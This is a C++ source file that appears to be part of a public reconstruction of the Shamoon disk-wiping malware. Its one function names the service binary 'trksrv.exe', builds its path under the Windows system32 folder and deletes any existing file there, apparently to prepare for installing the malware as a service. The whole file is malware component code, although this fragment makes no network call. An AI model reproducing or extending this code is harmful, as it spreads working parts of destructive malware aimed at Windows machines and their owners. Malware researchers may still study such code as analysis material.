// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "64bit.h"

#include "../Utils/String.h"
#include "../Utils/System.h"

bool Shamoon::Modules::_64bit::Get64bitSpecific(WCHAR *szSvcName, WCHAR *szSvcPath)
{
	bool bIsOK = true;

	M_STRING01
	(
		szSvcName,
		
		L"trksrv.exe"
	)
	
	M_STRING03
	(
		szSvcPath,
		
		g_szWinDir,
		L"\\system32\\",
		szSvcName
	)
	
	EXECUTE_WOW64_FILE_OPERATION
	(
		HANDLE hFile = CreateFileW(szSvcPath, 0x80000000, 7, 0, 3, 0x100000, 0);
		
		if(hFile != INVALID_HANDLE_VALUE || GetLastError() != ERROR_FILE_NOT_FOUND)
		{
			CloseHandle(hFile);
			
			if(!DeleteFileW(szSvcPath))
				bIsOK = false;
		}
	)
	
	return bIsOK;
}